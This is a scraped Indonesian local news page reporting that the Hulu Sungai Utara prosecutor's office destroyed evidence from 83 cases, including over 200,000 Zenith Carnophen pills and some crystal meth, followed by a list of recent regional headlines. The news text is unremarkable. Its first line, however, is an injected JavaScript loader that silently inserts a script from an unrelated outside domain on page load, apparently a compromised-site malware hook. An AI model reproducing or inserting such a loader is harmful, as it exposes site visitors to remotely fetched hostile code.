(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kejari HSU Kembali Musnahkan Zenith Carnophen sebanyak 203.209 butir


AMUNTAI, Kejaksaan Negeri Hulu Sungai Utara (HSU) mengelar pemusnahan barang bukti perkara tindak pidana umum yang di lakukan di halaman Kantor Kejari HSU, Selasa (17/7). Pemusnahan ini dihadiri langsung oleh Bupati HSU H. Abdul Wahid HK, Wakil Bupati H. Husairi Abdi, Ketua BNN HSU Khatria Wardony serta pimpinan Forkopimda dilingkungan Pemkab HSU.

Kepala Kejaksaan Negeri HSU Riyadi Bayu Kristanto mengatakan, berdasarkan putusan Pengadilan Negeri Amuntai melalui surat perintah pelaksaan putusaan pengadilan kepala Kejaksaan Negeri HSU periode september 2017 sampai dengan Juni 2018, ada 83 perkara yang telah diputuskan. Sehingga barang bukti dari hasil perkara dalam kurun waktu tersebut perlu dimusnahkan.

Diungkapkannya, barang bukti yang dimusnahkan kali ini antara lain barang bukti obat-obatan seperti zenith carnophen sebanyak 203.209 butir, Obat dextro sebanyak 1.190 butir dan sabu – sabu seberat 11,78 gram.

Senjata tajam berbagai jenis sebanyak 7 buah, Handphone berbagai merk dan tipe sebanyak 31 buah, dan 1 buah perahu jukung hasil perkara elegal fishing atau terkait tindak pidana perikanan.

“Setelah dibentuknya BNN Kabupaten HSU sinergitas aparat penegak hukum khususnya dalam penindakan tindak pidana narkotika dapat lebih berhasil, lebih memuaskan masyarakat sehingga wilayah hukum HSU dapat terbebas dari tindak pidana narkotika, minimal dapat menguranginya,” harap Riyadi.

Sementara itu, Ketua BNN HSU Khatria Wardony menuturkan, setelah terbentuk BNN HSU, pihaknya akan menyusun program seperti sosialisasi terhadap semua instansi, sekolah serta seluruh kecamatan. “Nanti kami akan melakukan program penyuluhan keseluruh sekolah, instansi di seluruh kecamatan di HSU.” Katanya.

Melalui terbentuknya BNN Kabupaten HSU ini, secara spesifikasi semua kegiatan penyuluhan selama ini dapat dilakukan sepenuhnya oleh BNN Kabupaten, tidak hanya penyuluhan akan tetapi juga BNN Kabupaten dapat memfasilitasi rehabilitasi terhadap pecandu narkoba.” Pungkasnya.(dew)

Reporter:Dew
Editor:Cell

Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

10 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

16 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

16 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.